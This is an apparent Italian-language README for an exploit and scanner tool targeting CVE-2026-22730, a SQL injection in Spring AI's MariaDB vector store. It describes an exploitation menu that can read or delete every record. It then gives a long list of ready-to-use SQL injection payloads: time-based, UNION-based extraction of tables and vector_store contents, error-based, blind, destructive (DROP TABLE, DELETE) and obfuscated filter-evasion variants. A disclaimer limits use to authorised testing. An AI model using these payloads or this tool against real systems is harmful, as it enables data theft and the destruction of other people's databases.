
Scanner e strumento di exploit per CVE-2026-22730, un'iniezione SQL nel vector store MariaDB di Spring AI. Supporta il rilevamento basato sul tempo, i metodi GET/POST e lo sfruttamento con reportistica.
Uno strumento professionale di valutazione della sicurezza per CVE-2026-22730 – una vulnerabilità critica di SQL injection scoperta nel MariaDB vector store di Spring AI. Questo strumento consente a penetration tester autorizzati e ricercatori di sicurezza di rilevare e sfruttare in modo sicuro la vulnerabilità per scopi educativi o difensivi.
📖 Panoramica
CVE-2026-22730 riguarda le versioni di Spring AI 1.0.x < 1.0.4 e 1.1.x < 1.1.3 quando si utilizza il MariaDB vector store. A causa di un escaping non corretto dei valori stringa nelle espressioni di filtro, un attaccante può iniettare SQL arbitrario tramite parametri controllati dall'utente (ad es., filtri sui metadati). Ciò può portare a:
Recupero non autorizzato dei dati – bypassando i controlli di accesso basati sui metadati
Cancellazione completa del database – eliminando l'intero vector store (distruttivo)
Perdita silenziosa di dati – nelle pipeline RAG, i dati divulgati vengono incorporati nelle risposte LLM senza essere rilevati
Questo strumento fornisce un metodo sicuro e configurabile per verificare la presenza della vulnerabilità e dimostrarne l'impatto (con consenso esplicito) durante valutazioni di sicurezza autorizzate.
🚀 Funzionalità
✅ Rilevamento basato sul tempo – utilizza l'iniezione SLEEP() per confermare la vulnerabilità
✅ Metodi HTTP multipli – supporta GET (parametri di query) e POST (corpo JSON)
✅ Durata del ritardo personalizzabile – regolabile per latenza di rete o requisiti di stealth
✅ Opzioni di sfruttamento – recupera tutti i documenti (SELECT) o elimina tutto (DELETE)
✅ Report completi – genera report HTML, JSON e testo semplice
✅ CLI intuitiva – modalità interattiva e argomenti da riga di comando completi
✅ Sistema di payload estensibile – integra facilmente stringhe di iniezione personalizzate
📋 Requisiti
Python 3.6 o superiore
Libreria requests (pip install requests)
🔧 Installazione
bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 Utilizzo
Lo script può essere eseguito in modalità interattiva o con argomenti da riga di comando.
Sintassi di base
bash
python cve-2026-22730_scanner.py [options]
Opzioni
Opzione Descrizione
--url URL di destinazione (ad es., http://localhost:8081/api/docs)
--method Metodo HTTP: GET o POST (predefinito: GET)
--param Nome del parametro di query per GET, o nome di riferimento per POST (opzionale)
--json-template Template JSON con segnaposto PAYLOAD (richiesto per POST)
--baseline Valore benigno per la richiesta di base (predefinito: inesistente)
--sleep Secondi di ritardo per il rilevamento basato sul tempo (predefinito: 5)
Esempi
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'
bash
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
bash
python cve-2026-22730_scanner.py
Ti verranno richiesti URL, metodo, parametro/template JSON, baseline e tempo di ritardo.
Flusso di sfruttamento
Se il target risulta vulnerabile, lo script presenta un menu:
text
[?] Il target è vulnerabile. Scegli l'opzione di sfruttamento:
1. Recupera tutti i documenti (iniezione SELECT)
2. Elimina tutti i documenti (iniezione DELETE) - DISTRUTTIVO
3. Salta lo sfruttamento
L'opzione 1 invia ' OR '1'='1 per recuperare tutte le righe (non distruttivo, legge solo i dati).
L'opzione 2 invia lo stesso payload utilizzando il metodo HTTP DELETE – rimuove permanentemente tutti i record. Richiede conferma esplicita.
Tutte le azioni vengono registrate e incluse nel report finale.
📁 File di output
Dopo ogni esecuzione, vengono creati tre file con timestamp nella directory corrente:
cve-2026-22730_YYYYMMDD_HHMMSS.json – report JSON leggibile da macchina con tutti i dettagli.
cve-2026-22730_YYYYMMDD_HHMMSS.txt – riepilogo in testo semplice, inclusi eventuali dati di sfruttamento.
cve-2026-22730_YYYYMMDD_HHMMSS.html – report HTML formattato, adatto per la condivisione o l'archiviazione.
⚠️ Disclaimer importante
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi.
L'uso non autorizzato contro sistemi di cui non si possiede o per cui non si ha esplicito permesso di test è illegale e non etico.
L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo software.
Ottieni sempre un'autorizzazione scritta prima di scansionare o sfruttare qualsiasi target.
📚 Riferimenti
GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm
Spring Security Advisory AV26‑245
Articolo di ricerca originale di SecureLayer7
🤝 Contributi
Pull request, segnalazioni di bug e suggerimenti di funzionalità sono benvenuti. Apri prima una issue per discutere modifiche importanti.
📄 Licenza
Questo progetto è concesso in licenza sotto la MIT License – consulta il file LICENSE per i dettagli.
Sviluppato con ❤️ da Nabeel
Esempio per PAYLOAD
Per la community della sicurezza
📌 Come utilizzare questi payload
Nello script, quando si utilizza POST con --json-template, sostituisci PAYLOAD con qualsiasi payload dall'elenco seguente.
Per le richieste GET, passa semplicemente il payload come valore del parametro (lo script gestisce automaticamente la codifica URL).
🔥 Categorie di payload
Questi causano un ritardo se l'iniezione ha successo. Usali per confermare la vulnerabilità.
Payload Descrizione
' OR SLEEP(5) -- Payload standard basato sul tempo. Se la query si ferma per ~5 secondi, l'iniezione funziona.
' OR BENCHMARK(10000000,MD5('a')) -- Alternativa per MySQL/MariaDB (BENCHMARK).
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Sleep annidato per bypassare alcuni filtri.
' OR 1=1 AND SLEEP(5) -- Combina una condizione sempre vera con il ritardo.
Questi rendono la clausola WHERE sempre vera, restituendo tutti i record.
Payload Descrizione
' OR '1'='1 Classica iniezione sempre vera.
' OR 1=1 -- Un'altra variante (richiede uno spazio dopo --).
' OR ''=' Si basa sul confronto di stringhe vuote.
' OR 1=1# Usa # per il commento MariaDB (codificato in URL come %23).
' OR 1=1 LIMIT 1 -- Restituisce una sola riga (utile per output controllato)
Utile quando l'applicazione mostra i risultati. Devi corrispondere al numero di colonne.
Payload Descrizione
' UNION SELECT NULL, database(), user(), version() -- Recupera nome del database, utente, versione. (Regola il conteggio di NULL per corrispondere alle colonne.)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- Elenca le tabelle.
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- Elenca le colonne.
' UNION SELECT 1, content, metadata FROM vector_store -- Estrae i dati effettivi (se il conteggio delle colonne corrisponde).
Attiva errori che rivelano informazioni.
Payload Descrizione
' AND extractvalue(1, concat(0x7e, database())) -- Basato su errori MariaDB/MySQL.
' AND updatexml(1, concat(0x7e, version()), 1) -- Un altro metodo basato su errori.
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Errore di chiave duplicata.
Utile quando non vengono mostrati output o errori, ma il comportamento dell'applicazione cambia.
Payload Descrizione
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Verifica il primo carattere del nome del database.
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Verifica il numero di tabelle.
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Verifica l'esistenza di una tabella.
Payload distruttivi (usare con estrema cautela).
Payload Descrizione
' OR '1'='1 Se usato con DELETE, rimuove tutte le righe.
' OR 1=1; DROP TABLE vector_store -- Tenta di eliminare l'intera tabella (richiede query impilate, spesso disabilitate).
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Tenta di inserire nuovi dati.
Versioni offuscate per eludere il semplice pattern matching.
Payload Descrizione
%27%20OR%20SLEEP(5)%20-- Codificato in URL (lo script lo gestisce automaticamente).
' //OR//SLEEP(5)/**/-- Commenti inline per spezzare le parole chiave.
' OR 0x273d27=0x273d27 -- Confronto codificato in esadecimale ('=').
' OR 1=1 /!50000SLEEP(5)/ -- Commento specifico della versione MySQL.
Payload Descrizione
' OR '1'='1 Usato per recuperare tutti i documenti (prova di concetto).
' OR SLEEP(5) -- Payload di rilevamento basato sul tempo usato nello scanner.
' OR '1'='1 Usato anche per l'iniezione DELETE.
📝 Esempi di template JSON con payload
json
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
Nello script, passeresti il template come:
bash
--json-template '{"department": "PAYLOAD"}'
Lo script sostituirà PAYLOAD con il payload effettivo.
NOTA sull'URL
Lo script richiede l'URL completo dell'endpoint che accetta il parametro vulnerabile. Ad esempio:
✅ http://example.com/api/docs – se l'endpoint è /api/docs
✅ http://example.com/search – se l'endpoint è /search
❌ http://example.com – non sufficiente, lo script richiede il percorso esatto